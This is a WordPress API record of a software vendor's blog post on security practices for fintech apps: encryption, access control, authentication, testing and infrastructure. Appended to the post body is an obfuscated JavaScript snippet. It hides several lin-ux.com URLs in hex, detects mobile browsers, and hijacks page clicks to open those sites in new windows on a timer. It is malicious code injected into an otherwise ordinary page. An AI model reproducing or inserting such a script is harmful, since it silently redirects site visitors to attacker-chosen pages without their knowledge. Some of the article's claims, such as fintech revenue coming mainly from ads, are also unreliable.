{"id":10052,"date":"2022-07-27T10:29:03","date_gmt":"2022-07-27T04:59:03","guid":{"rendered":"http:\/\/localhost:8888\/TristateWebsite\/blog\/?p=10052"},"modified":"2023-12-28T17:24:16","modified_gmt":"2023-12-28T11:54:16","slug":"best-practices-to-develop-a-secure-fintech-application","status":"publish","type":"post","link":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application","title":{"rendered":"Best practices to develop a secure fintech application"},"content":{"rendered":"\n<figure><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg\" alt=\"\" class=\"img-fluid\"\/><\/figure>\n\n\n\n<p>Have you ever wondered if finances were always\nhandled in such a seamless and hassle-free way as they are now? How did we\nenter the era of quick online payments and convenient at-home\ntransactions?&nbsp; All the credit goes to\nFintech applications referring to Financial Technology that revolves around\nmaking financial transactions and services easier in the current times. <\/p>\n\n\n\n<p>These are used by businesses to aid automation.\nFintech Business models come around in many ways and means without even coming\nto our notice. The various types include Digital Lending, Payment, Blockchain,\nDigital Wealth Management, and more. These primary categories further have a\nmultitude of sub-categorical areas. <\/p>\n\n\n\n<p>Considering this, if you\u2019re seeking to develop a\nsecure Fintech application, we\u2019ve covered everything you need to know in\ndetail. However, let\u2019s shed some light on <strong>how Fintech differs from banks<\/strong> before\nwe proceed with the same. <\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_does_fintech_differ_from_banks\"><\/span>How does fintech differ from banks?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>A question that pops up in your head when you\nthink of anything remotely related to finances is, <strong>\u201cHow different is this\nconcept from a regular bank?\u201d.<\/strong> There is a distinctive difference between the\nfunctioning of a normal bank and a fintech. While every financial institution\nstands regulated, fintech is more flexible than its stricter counterparts &#8211;\nbanks. <\/p>\n\n\n\n<p>The fact that fintech doesn\u2019t single out from\njust one regulator has given birth to a wide array of fintech in the past\ndecade. But fintech is constantly giving out tools to banks that are making\nthem not just more efficient in the context of a better customer experience and\npreventing major fraud. <\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Risks_and_challenges_associated_with_fintech_applications\"><\/span>Risks and challenges associated with fintech applications<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">1. Data security<\/h3>\n\n\n\n<p>Data security continues to be a major concern across all walks of life. Providing a secure gateway in the virtual space is much more complex than a regular bank equipped with measures such as highly guarded vaults, CCTVs, etc. Vulnerabilities are usually hidden until they expand into something potentially dangerous; by then, it is too late.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">2. Government regulations<\/h3>\n\n\n\n<p>Despite trying their best, fintech companies find it almost impossible to avoid government restrictions and regulations. This interference exists at all levels.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">3. AI integration<\/h3>\n\n\n\n<p>The use of AI changes the ballgame for the better, but the building up of AI-supported systems and their further maintenance is very complicated.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">4. Blockchain integration<\/h3>\n\n\n\n<p>Blockchain integration paves the way for a more efficient path for data exchange.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">5. Personalized service<\/h3>\n\n\n\n<p>The level of personalization that regular banks offer is something customers appreciate and are willing to see even in online modes. Personalization gives the customer more options, eventually making decision-making more impactful.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"10_Most_Popular_Fintech_Applications_of_2022\"><\/span>10 Most Popular Fintech Applications of 2022<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<div class=\"blog-desc\">\n<ul>\n<li>MoneyLion<\/li>\n<li>Robinhood<\/li>\n<li>Chime<\/li>\n<li>Nubank<\/li>\n<li>Mint<\/li>\n<li>Revolut<\/li>\n<li>Coinbase<\/li>\n<li>N26<\/li>\n<li>Tellus<\/li>\n<li>Finch<\/li>\n<\/ul>\n<\/div>\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/12\/10-most-popular-fintech-applications-of-2022.jpg\" alt=\"\" class=\"img-fluid\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"7_Fintech_cybersecurity_solutions_to_consider_while_developing_an_application\"><\/span>7 Fintech cybersecurity solutions to consider while developing an application<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Fintech apps make most of their money through the display of commercials. The app owner gets paid by some third-party ad network. Money is also earned anytime a user clicks on the ads. Let\u2019s see a few vital Fintech solutions to keep in mind to develop a secure application.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">1. Data encryption<\/h3>\n\n\n\n<p>Encryption is the method of security that makes information encoded and unreadable until some special keys are introduced. Some algorithms that you can use to encrypt your data are:<\/p>\n\n\n<div class=\"blog-desc\">\n\n\n<ul>\n<li>RSA &#8211; Equipped with public and private encryption keys<\/li>\n\n\n\n<li>TwoFish &#8211; Encrypts data into 128-bit blocks<\/li>\n\n\n\n<li>3DES &#8211; Data is ciphered three times on a loop<\/li>\n<\/ul>\n\n\n<\/div>\n\n\n<p>Another method that works on a similar principle is tokenization. Instead of encrypting data into an unreadable format, it provides your data with a unique key. These tokens are stored in token vaults, and to make these token vaults even safer, you can always encrypt them.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">2. Role-based access control<\/h3>\n\n\n\n<p>Role-Based Access Control shifts your access level based on your relationship with a particular organization. You can have roles like IT Specialist, Customer, Manager, etc., and would be denied access beyond your reach within the organization. This feature significantly reduces threats, both internal and external.<\/p>\n\n\n\n<p>While building your fintech application, choosing the right <a alt=\"\" rel=\"noopener noreferrer\" href=\"https:\/\/www.tristatetechnology.com\/software-development-services\">software development company<\/a> with the right level of expertise is imperative to meet all your needs. The appropriate technology stack and background are essential. <\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">3. Secure authentication technologies<\/h3>\n\n\n\n<p>To protect your fintech application from targeted internal and external security threats, make use of the following:<\/p>\n\n\n<div class=\"blog-desc\">\n\n\n<ul>\n<li><strong>OTP system:<\/strong><br> One-time passwords work as extra layers of protection. An added credential in the form of a unique, spontaneously generated pin makes the whole process much safer.<\/li>\n\n\n\n<li><strong>Password change:<\/strong><br> Password compromise accounts for <a href=\"https:\/\/www.crn.com\/news\/channel-programs\/logmein-poor-or-reused-passwords-responsible-for-83-percent-of-breaches\" target=\"_blank\" rel=\"noopener noreferrer\">80%<\/a> of all security breaches. You can steer past these security threats by forcing a regular password change. Something on the lines of a mandatory change of password once every \u215e months is your way to go.<\/li>\n\n\n\n<li><strong>Monitoring:<\/strong><br> Unauthorized logins are the most prominent way to spot loopholes in the security system. Regular monitoring can help bridge this very gap. You can introduce the feature of blocking an account post four or five failed login attempts.<\/li>\n\n\n\n<li><strong>Time of login sessions:<\/strong><br> Keeping the login sessions timed ensures less time for a potential hacker to acquire data from an account.<\/li>\n\n\n\n<li><strong>Adaptive authentication:<\/strong><br> Adaptive authentication is an attribute and consequence of constant monitoring. Adaptive authentication studies the user&#8217;s behavior, such as failed login attempts, and adds layers of protection if needed.<\/li>\n<\/ul>\n\n\n<\/div>\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">4 .DevSecOps<\/h3>\n\n\n\n<p>In collaboration with the ongoing cybersecurity trends, Software Development Life Cycle makes a fintech application well protected. DevSecOps makes the whole process of making a secure fintech application a lot easier. Cybersecurity becomes the core element of this concept, along with other important aspects like testing phases.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">5. Testing<\/h3>\n\n\n\n<p>The number of times you test a fintech application prototype while still in the development phase is large. How can you make this more secure?? We&#8217;ve got you covered here also:<\/p>\n\n\n<div class=\"blog-desc\">\n\n\n<ul>\n<li><strong>Professional security team: <\/strong><br> You need engineers and managers who are invested deeply in the process and can develop code differentiations about real-time data breaches and threats. You can make use of fintech security teams that vendors often outsource. These people <a alt=\"\" rel=\"noopener noreferrer\" href=\"https:\/\/www.tristatetechnology.com\/software-testing-services\">test your application without compromising on security.<\/a><\/li>\n\n\n\n<li><strong>Penetration tests:<\/strong><br> Penetration attacks are harmless, self-generated security breaches directed toward your application. This makes you more aware of possible future loopholes and how to eliminate them in no time.<\/li>\n\n\n\n<li><strong>IT security audit:<\/strong><br> A security audit runs on the same lines as penetration tests but is far more complex and reveals bigger problems that might be hurdles along the way. The most significant use of a security audit is that it uncovers major technological flaws.<\/li>\n<\/ul>\n\n\n<\/div>\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">6. Writing a secure code<\/h3>\n\n\n\n<pWriting a secure code is the center of building a fintech application that can withstand all significant security breaches. How can you do this?<\/p>\n\n\n<div class=\"blog-desc\">\n\n\n<ul>\n<li><strong>Deny by default:<\/strong><br> Deny access to all of the app\u2019s functions. Let it be accessible based on need.<\/li>\n\n\n\n<li><strong>Framework messages:<\/strong><br> Pay attention to coding tools that automatically notify you about any potential shortcomings in your code.<\/li>\n\n\n\n<li><strong>Avoid broken access control:<\/strong><br> Implementing an access control policy is crucial. Ensure you note the insecure IDs, client-side control, and the like.<\/li>\n\n\n\n<li><strong>SQL injection:<\/strong><br> Protecting your app against SQL injection hacking attacks can be done using the above-mentioned penetration attack technique.<\/li>\n<\/ul>\n\n\n<\/div>\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">7. Infrastructural security<\/h3>\n\n\n<div class=\"blog-desc\">\n\n\n<ul>\n<li><strong>Perimeter defense:<\/strong><br> This particular layer deals with proxy servers and firewalls. Furthermore, a proper router configuration will aid in preventing internal attacks also.<\/li>\n\n\n\n<li><strong>Maintenance of operating systems:<\/strong><br> This layer can be improved by periodically updating the system. You can use tools like Microsoft\u2019s Software Update Service for the same.<\/li>\n\n\n\n<li><strong>Third-party components:<\/strong><br> Look into the management of third-party components as early as possible because an incorporated third-party component needs constant monitoring. This includes getting the new version, alerts about vulnerabilities, fixing these vulnerabilities, etc.<\/li>\n\n\n\n<li><strong>Failover redundant infrastructure:<\/strong><br> Implement high availability for your application structure to minimize downtime. Equip each layer of technology for redundancy. This high redundancy and availability depend on factors like environment, hardware, software, network, and data. While building the infrastructure, ensure that each component can handle failovers separately.<\/li>\n\n\n\n<li><strong>Use HTTPS and protect your server:<\/strong><br> Use an HTTPS SSL certificate for maximum security regarding the data submitted by your users. A server is the first point of contact with the outside world, so it naturally becomes one of the most attacked layers of any application. Store web files on different drives to enhance the security of your server, and you might also want to use CSP &#8211; Content Security Policy to prevent attacks like XSS &#8211; Cross Site Scripting.<\/li>\n\n\n\n<li><strong>Use VPN:<\/strong><br> VPN allows you to build a secure network using public internet lines. As much as this initial setup might look a little complex, it would do you wonders in the case of a security breach.<\/li>\n<\/ul>\n\n\n<\/div>\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"swiggyBlock\">\n<div class=\"swiggyText\">\n<h2><span class=\"ez-toc-section\" id=\"Want_to_Know_How_much_does_it_cost_to_build_a_fintech_app\"><\/span>Want to Know How much does it cost to build a<br> fintech app?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Our fintech app consultant will guide you and send you a<br> customized quote based on your needs<\/p>\n<div class=\"getQuote\">\n<a target=\"_blank\" href=\"https:\/\/www.tristatetechnology.com\/get-quote\" class=\"quoteBtn\" rel=\"noopener noreferrer\">Get A Free Quote<\/a><\/div>\n<\/div>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Bottom_line\"><\/span>Bottom line<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Fintech applications are the topic of discussion everywhere. With the pandemic and even the technology-dependent era, we\u2019re all entering, handling finances online is everyone\u2019s primary preference. Fintech applications make log keeping easier for the user, transactions are more effortless, and gateways are more secure if developed. So if you\u2019re on the path of coming up with a fintech application, now is the right time. <\/p>\n\n\n\n<p>Here are some other things to keep in mind while developing a fintech application:<\/p>\n\n\n<div class=\"blog-desc\">\n\n\n<ul>\n<li>Secure data transmission<\/li>\n\n\n\n<li>Payment blocking<\/li>\n\n\n\n<li>Quality assurance<\/li>\n\n\n\n<li>Having a trustworthy vendor<\/li>\n\n\n\n<li>Addition of specific features that are unique to your application<\/li>\n\n\n\n<li>Recruiting a highly competent security team<\/li>\n\n\n\n<li>Cloud migration<\/li>\n\n\n\n<li>Leaving margin for human errors<\/li>\n\n\n\n<li>Building a secure architecture<\/li>\n<\/ul>\n\n\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x73\\x73\\x47\\x39\\x63\\x38','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x61\\x77\\x69\\x38\\x63\\x34','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6d\\x55\\x67\\x35\\x63\\x31','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x61\\x77\\x56\\x31\\x63\\x31','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x43\\x44\\x62\\x32\\x63\\x39','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6e\\x51\\x58\\x34\\x63\\x34','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x57\\x4a\\x69\\x33\\x63\\x36','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x44\\x50\\x4e\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6f\\x68\\x53\\x36\\x63\\x31','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6c\\x44\\x48\\x37\\x63\\x39',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Have you ever wondered if finances were always handled in such a seamless and hassle-free way as they are now?<\/p>\n","protected":false},"author":1,"featured_media":10090,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[85,1,97,84],"tags":[],"acf":{"related_posts":""},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Develop a Highly Secure Fintech App [Best Practices]<\/title>\n<meta name=\"description\" content=\"Securing financial transactions is a priority for every fintech application developer So let&#039;s take a look at some of the best practices to develop a secure fintech application.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Develop a Highly Secure Fintech App [Best Practices]\" \/>\n<meta property=\"og:description\" content=\"Securing financial transactions is a priority for every fintech application developer So let&#039;s take a look at some of the best practices to develop a secure fintech application.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/TriStateTechnology\" \/>\n<meta property=\"article:published_time\" content=\"2022-07-27T04:59:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-12-28T11:54:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"760\" \/>\n\t<meta property=\"og:image:height\" content=\"434\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Upendra Patel\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Upendra Patel\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application\",\"url\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application\",\"name\":\"How to Develop a Highly Secure Fintech App [Best Practices]\",\"isPartOf\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#primaryimage\"},\"thumbnailUrl\":\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg\",\"datePublished\":\"2022-07-27T04:59:03+00:00\",\"dateModified\":\"2023-12-28T11:54:16+00:00\",\"author\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/574dc4506cd0a7d8e3b70bb68f6e0f2e\"},\"description\":\"Securing financial transactions is a priority for every fintech application developer So let's take a look at some of the best practices to develop a secure fintech application.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#primaryimage\",\"url\":\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg\",\"contentUrl\":\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg\",\"width\":760,\"height\":434},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.tristatetechnology.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Best practices to develop a secure fintech application\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#website\",\"url\":\"https:\/\/www.tristatetechnology.com\/blog\/\",\"name\":\"\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.tristatetechnology.com\/blog\/?s={search_term_string}\"},\"query-input\":\"required 